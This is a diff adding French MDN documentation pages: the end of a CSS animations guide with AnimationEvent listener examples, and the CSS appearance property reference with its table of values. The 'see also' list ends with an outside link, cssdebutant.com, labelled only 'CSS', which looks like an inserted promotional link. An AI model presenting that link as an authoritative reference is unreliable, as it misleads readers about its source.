+<pre class="brush: css hidden">@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html hidden">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Obtenir_un_effet_aller-retour","100%","250")}}</p>
+
+<h3 id="Utiliser_la_propriété_raccourcie_animation">Utiliser la propriété raccourcie <code>animation</code></h3>
+
+<p>La propriété raccourcie {{cssxref("animation")}} permet d'économiser de l'espace. Par exemple, si on prend cette règle :</p>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}
+</pre>
+
+<p>On peut la réécrire de façon plus concise :</p>
+
+<pre class="brush: css">p {
+  animation: 3s infinite alternate slidein;
+}</pre>
+
+<div class="note">
+<p><strong>Note </strong>: Pour plus de détails, vous pouvez consulter la page de référence sur la propriété {{cssxref("animation")}}.</p>
+</div>
+
+<h3 id="Utiliser_plusieurs_valeurs_pour_différentes_animations">Utiliser plusieurs valeurs pour différentes animations</h3>
+
+<p>Les propriétés CSS détaillées permettent d'utiliser plusieurs valeurs, séparées par des virgules. Cela permet de paramétrer plusieurs animations via une seule règle. Prenons quelques exemples.</p>
+
+<p>Dans ce premier exemple, on a trois animations nommées différemment mais qui utilisent la même durée et le même nombre d'itération :</p>
+
+<pre class="brush: css">animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 3s;
+animation-iteration-count: 1;</pre>
+
+<p>Dans ce deuxième exemple, les trois propriétés ont cette fois des composantes distinctes, pour la durée et le nombre d'itération. Ici, par exemple <code>fadeInOut</code> a une durée de 2.5s et 2 itérations.</p>
+
+<pre class="brush: css">animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 2.5s, 5s, 1s;
+animation-iteration-count: 2, 1, 5;</pre>
+
+<p>Dans ce troisième cas, on a toujours trois animations mais uniquement deux durées et deux nombres d'itération. Lorsqu'il y a moins de valeurs que d'animations, on boucle sur les valeurs. Par exemple, avec le code qui suit, <code>fadeInOut</code> durera <code>2.5s</code>, <code>moveLeft300px</code> durera <code>5s</code>. On arrive à la fin de la liste des valeurs de durée et on reprend donc au début : <code>bounce</code> aura donc une durée de <code>2.5s</code>. Le nombre d'itérations sera affecté de la même façon.</p>
+
+<pre class="brush: css">animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 2.5s, 5s;
+animation-iteration-count: 2, 1;</pre>
+
+<h3 id="Utiliser_les_événements_liés_aux_animations">Utiliser les événements liés aux animations</h3>
+
+<p>Il est possible d'obtenir des informations et un certain contrôle sur les animations en utilisant l'objet {{domxref("AnimationEvent")}}. Celui-ci peut être utilisé pour détecter quand les animations commencent, finissent et il peut déclencher une nouvelle itération. Chaque événement inclue l'instant auquel il s'est produit et le nom de l'animation qui a déclenché l'événement.</p>
+
+<p>Dans la suite de cet article, nous allons modifier l'exemple précédent pour obtenir des informations supplémentaires sur chaque événement d'animation lorsqu'il se produit afin de mieux voir comment cela fonctionne.</p>
+
+<h4 id="La_feuille_de_style_CSS">La feuille de style CSS</h4>
+
+<p>On commence par rédiger le CSS pour l'animation. Ici, l'animation durera 3 secondes, sera intitulée <code>slidein</code>, se répètera trois fois et changera de direction pour faire des allers-retours. Dans la règle @ {{cssxref("@keyframes")}}, on manipule la largeur et la marge à gauche de l'élément afin que ce dernier traverse l'écran.</p>
+
+<pre class="brush: css">.slidein {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: 3;
+  animation-direction: alternate;
+}
+
+@keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+    margin-left:0%;
+    width:100%;
+  }
+}</pre>
+
+<h4 id="Les_gestionnaires_d'événements">Les gestionnaires d'événements</h4>
+
+<p>On utilisera JavaScript pour « écouter » les trois événements possibles. Le code qui suit permet de définir les gestionnaires d'événement (à utiliser une fois que le document a été chargé).</p>
+
+<pre class="brush: js">var element = document.getElementById("watchme");
+element.addEventListener("animationstart", listener, false);
+element.addEventListener("animationend", listener, false);
+element.addEventListener("animationiteration", listener, false);
+
+element.className = "slidein";
+</pre>
+
+<p>Ce code est plutôt classique, n'hésitez pas à consulter la documentation de {{domxref("eventTarget.addEventListener()")}} si besoin. Pour finir, ce script attribut une classe sur <code>slidein</code> sur l'élément.</p>
+
+<p>Quel est l'intérêt ? En fait, l'événement <code>animationstart</code> est déclenché dès que l'animation démarre et cela se produit alors avant l'exécution du script. Pour éviter cela, on démarre l'animation via le script en définissant la classe de l'élément à animer.</p>
+
+<h4 id="Écouter_les_événements">Écouter les événements</h4>
+
+<p>Les événements sont transmis à la fonction <code>listener()</code> décrite ici :</p>
+
+<pre class="brush: js">function listener(event) {
+  var l = document.createElement("li");
+  switch(event.type) {
+    case "animationstart":
+      l.innerHTML = "Début : durée écoulée : " + event.elapsedTime;
+      break;
+    case "animationend":
+      l.innerHTML = "Fin : durée écoulée : " + event.elapsedTime;
+      break;
+    case "animationiteration":
+      l.innerHTML = "Nouvelle boucle démarrée à : " + event.elapsedTime;
+      break;
+  }
+  document.getElementById("output").appendChild(l);
+}
+</pre>
+
+<p>Ce code consulte {{domxref("event.type")}} afin de déterminer l'événement qui s'est produit puis ajoute un élément {{HTMLElement("ul")}} au document pour alimenter un journal des événements.</p>
+
+<p>Le résultat obtenu devrait ressembler à quelque chose comme :</p>
+
+<ul>
+ <li>Début : durée écoulée : 0</li>
+ <li>Nouvelle boucle démarrée à : 3.01200008392334</li>
+ <li>Nouvelle boucle démarrée à : 6.00600004196167</li>
+ <li>Fin : durée écoulée : 9.234000205993652</li>
+</ul>
+
+<p>On voit ici que les durées sont proches mais pas exactes. On voit également que, lors de la fin de l'animation, l'événement <code>animationiteration</code> n'est pas envoyé, seul <code>animationend</code> est déclenché.</p>
+
+<h4 id="Le_document_HTML">Le document HTML</h4>
+
+<p>Afin d'être tout à fait complet, voici le code HTML qui peut être utilisé et qui contint la liste dans laquelle on enregistrera les événements reçus :</p>
+
+<pre class="brush: html">&lt;h1 id="watchme"&gt;Regardez-moi bouger&lt;/h1&gt;
+&lt;p&gt;
+  Un exemple d'animation CSS pour déplacer
+  un élément &lt;code&gt;H1&lt;/code&gt; sur une page.
+&lt;/p&gt;
+&lt;p&gt;
+  Voici les événements relatifs aux animations :
+&lt;/p&gt;
+&lt;ul id="output"&gt;
+&lt;/ul&gt;
+&lt;/body&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Utiliser_les_événements_liés_aux_animations', '600', '300')}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li><a href="/fr/docs/Web/CSS/Animations_CSS/Détecter_la_prise_en_charge_des_animations_CSS">Détecter la prise en charge des animations CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Transitions/Utiliser_transitions_CSS">Manipuler les transitions CSS</a></li>
+ <li><a href="https://www.cssdebutant.com">CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/appearance/index.html b/files/fr/web/css/appearance/index.html
new file mode 100644
index 0000000000..a8bc485e09
--- /dev/null
+++ b/files/fr/web/css/appearance/index.html
@@ -0,0 +1,2677 @@
+---
+title: 'appearance (-moz-appearance, -webkit-appearance)'
+slug: Web/CSS/appearance
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/appearance
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>-moz-appearance</code></strong> est utilisée dans Gecko (Firefox) afin d'afficher un élément en utilisant la mise en forme native du système d'exploitation.</p>
+
+<p>La propriété <strong><code>-webkit-appearance</code></strong> est utilisée dans les navigateurs basés sur WebKit (c'est-à-dire Safari) et sur Blink (c'est-à-dire Chrome ou Opera) et permet d'avoir la même fonctionnalités. On notera que plusieurs navigateurs, non basés sur WebKit (Firefox et Edge par exemple), prennent en charge ce préfixe pour des raisons de compatibilité web.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/appearance.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est souvent utilisée dans les feuilles de style <a href="/fr/docs/Tutoriel_XUL">XUL</a> afin de mettre en forme des <em>widgets</em> utilisant la mise en forme de la plateforme utilisée. Elle est également utilisée dans les implémentations <a href="/fr/docs/XBL">XBL</a> pour les <em>widgets</em> livrés avec les logiciels Mozilla.</p>
+
+<div class="note">
+<p><strong>Note :</strong><em><strong> </strong>Cette propriété doit être utilisée avec beaucoup d'attention sur les sites Web.</em> Son comportement peut varier d'un navigateur à l'autre bien que ces variations aient réduit avec le temps. Le mot-clé <code>none</code> peut avoir un comportement différent d'une plateforme à une autre et d'autres mots-clés ne sont pas pris en charge.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs pour la spécification CSS Basic User Interface Module Level 4 */
+appearance: none;
+appearance: auto;
+appearance: button;
+appearance: textfield;
+appearance: searchfield;
+appearance: textarea;
+appearance: push-button;
+appearance: button-bevel;
+appearance: slider-horizontal;
+appearance: checkbox;
+appearance: radio;
+appearance: square-button;
+appearance: menulist;
+appearance: menulist-button;
+appearance: listbox;
+appearance: meter;
+appearance: progress-bar;
+
+/* Liste des valeurs disponibles pour Gecko */
+-moz-appearance: scrollbarbutton-up;
+-moz-appearance: <code>button-bevel;</code>
+
+/* Liste des valeurs disponibles pour WebKit/Blink (ainsi que pour Gecko et Edge) */
+-webkit-appearance: <code>media-mute-button</code>;
+-webkit-appearance: caret;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p><code>&lt;appearance&gt; </code>est l’une des valeurs suivantes :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Valeur</th>
+   <th>Démonstration</th>
+   <th>Navigateur</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>none</code></td>
+   <td>
+    <div class="hidden" id="sampleNone">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance:none;
+-webkit-appearance:none;
+appearance:none; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleNone",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td>Aucune mise en forme spécifique n'est appliquée. Le comportement obtenu est le comportement par défaut.</td>
+  </tr>
+  <tr>
+   <td><code>auto</code> {{Experimental_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleAuto">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: auto;
+-webkit-appearance: auto;
+appearance:auto; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleAuto",100,50,"","", "nobutton")}}</td>
+   <td>Aucun</td>
+   <td>L'agent utilisateur sélectionne la mise en forme spécifique selon l'élément utilisé. Cette valeur sera synonyme de <code>none</code> sur les éléments sans mise en forme particulière.</td>
+  </tr>
+  <tr>
+   <td><code>attachment</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleAttachment">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: attachment;
+-webkit-appearance: attachment; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleAttachment",100,50,"","", "nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>borderless-attachment</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-borderless-attachment">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: borderless-attachment;
+-webkit-appearance: borderless-attachment; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-borderless-attachment",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButton">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button;
+-webkit-appearance: button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td>L'élément est dessiné comme un bouton.</td>
+  </tr>
+  <tr>
+   <td><code>button-arrow-down</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButtonArrowDown">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button-arrow-down;
+-webkit-appearance: button-arrow-down; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonArrowDown",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>
+    <p>Retiré avec Fx 64</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>button-arrow-next</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButtonArrowNext">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button-arrow-next;
+-webkit-appearance: button-arrow-next; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonArrowNext",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>button-arrow-previous</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButtonArrowPrevious">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button-arrow-previous;
+-webkit-appearance: button-arrow-previous; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonArrowPrevious",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>button-arrow-up</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButtonArrowUp">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button-arrow-up;
+-webkit-appearance: button-arrow-up; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonArrowUp",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>button-bevel</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButtonBevel">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button-bevel;
+-webkit-appearance: button-bevel; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonBevel",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>button-focus</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleButtonFocus">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: button-focus;
+-webkit-appearance: button-focus; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonFocus",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>caps-lock-indicator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-caps-lock-indicator">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: caps-lock-indicator;
+-webkit-appearance: caps-lock-indicator; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-caps-lock-indicator",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>caret</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleCaret">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: caret;
+-webkit-appearance: caret; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCaret",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>checkbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleCheckbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: checkbox;
+-webkit-appearance: checkbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCheckbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td>L'élément est dessiné comme une case à cocher (seule la partie correspondant à la case est incluse).</td>
+  </tr>
+  <tr>
+   <td><code>checkbox-container</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleCheckboxContainer">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: checkbox-container;
+-webkit-appearance: checkbox-container; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCheckboxContainer",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>L'élément est dessiné comme un conteneur de case à cocher. Celui-ci peut inclure un effet d'ombre portée pour certaines plateformes. L'élément contient normalement un libellé et une case à cocher.</td>
+  </tr>
+  <tr>
+   <td><code>checkbox-label</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleCheckboxLabel">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: checkbox-label;
+-webkit-appearance: checkbox-label; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCheckboxLabel",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>checkmenuitem</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleCheckmenuitem">
+    <pre class="brush: css">
+div { color: black; height: 20px;
+-moz-appearance: checkmenuitem;
+-webkit-appearance: checkmenuitem; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCheckmenuitem",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>color-well</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-color-well">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: color-well;
+-webkit-appearance: color-well; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-color-well",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td><code>input type=color</code></td>
+  </tr>
+  <tr>
+   <td><code>continuous-capacity-level-indicator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-continuous-capacity-level-indicator">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: continuous-capacity-level-indicator;
+-webkit-appearance: continuous-capacity-level-indicator; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-continuous-capacity-level-indicator",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>default-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-default-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: default-button;
+-webkit-appearance: default-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-default-button",100,50,"","","nobutton")}}</td>
+   <td>Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>discrete-capacity-level-indicator</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-discrete-capacity-level-indicator">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: discrete-capacity-level-indicator;
+-webkit-appearance: discrete-capacity-level-indicator; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-discrete-capacity-level-indicator",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>dualbutton</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleDualButton">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: dualbutton;
+-webkit-appearance: dualbutton; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleDualButton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>groupbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleGroupbox">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: groupbox;
+-webkit-appearance: groupbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleGroupbox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox</td>
+   <td>Retiré avec Fx 64</td>
+  </tr>
+  <tr>
+   <td><code>inner-spin-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleInnerSpinButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: inner-spin-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleInnerSpinButton",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>image-controls-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-image-controls-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: image-controls-button;
+-webkit-appearance: image-controls-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-image-controls-button",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>list-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-list-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: list-button;
+-webkit-appearance: list-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-list-button",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td>Liste de données.</td>
+  </tr>
+  <tr>
+   <td><code>listbox</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleListBox">
+    <pre class="brush: css">
+div { color: black; height:20px;
+-moz-appearance: listbox;
+-webkit-appearance: listbox; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleListBox",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>listitem</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleListItem">
+    <pre class="brush: css">
+div { color: black;
+-moz-appearance: listitem;
+-webkit-appearance: listitem; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleListItem",100,50,"","", "nobutton")}}</td>
+   <td>Firefox Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-enter-fullscreen-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaEnterFullscreenButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-enter-fullscreen-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaEnterFullscreenButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-exit-fullscreen-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaExitFullscreenButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-exit-fullscreen-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaExitFullscreenButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-fullscreen-volume-slider</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-fullscreen-volume-slider">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-fullscreen-volume-slider;
+-webkit-appearance: media-fullscreen-volume-slider; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-fullscreen-volume-slider",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-fullscreen-volume-slider-thumb</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-fullscreen-volume-slider-thumb">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-fullscreen-volume-slider-thumb;
+-webkit-appearance: media-fullscreen-volume-slider-thumb; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-fullscreen-volume-slider-thumb",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-mute-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaMuteButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-mute-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaMuteButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-play-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaPlayButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-play-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaPlayButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari Edge</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-overlay-play-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sampleMediaOverlayPlayButton">
+    <pre class="brush: css">
+div{ color: black;
+-webkit-appearance: media-overlay-play-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMediaOverlayPlayButton",100,50,"","", "nobutton")}}</td>
+   <td>Chrome Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-return-to-realtime-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-return-to-realtime-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-return-to-realtime-button;
+-webkit-appearance: media-return-to-realtime-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-return-to-realtime-button",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>media-rewind-button</code> {{Non-standard_Inline}}</td>
+   <td>
+    <div class="hidden" id="sample-media-rewind-button">
+    <pre class="brush: css">
+div{ color: black;
+-moz-appearance: media-rewind-button;
+-webkit-appearance: media-rewind-button; }</pre>
+
+    <pre class="brush: html">
+&lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sample-media-rewind-button",100,50,"","","nobutton")}}</td>
+   <td>Safari</td>
+   <td></td>
+  </tr>
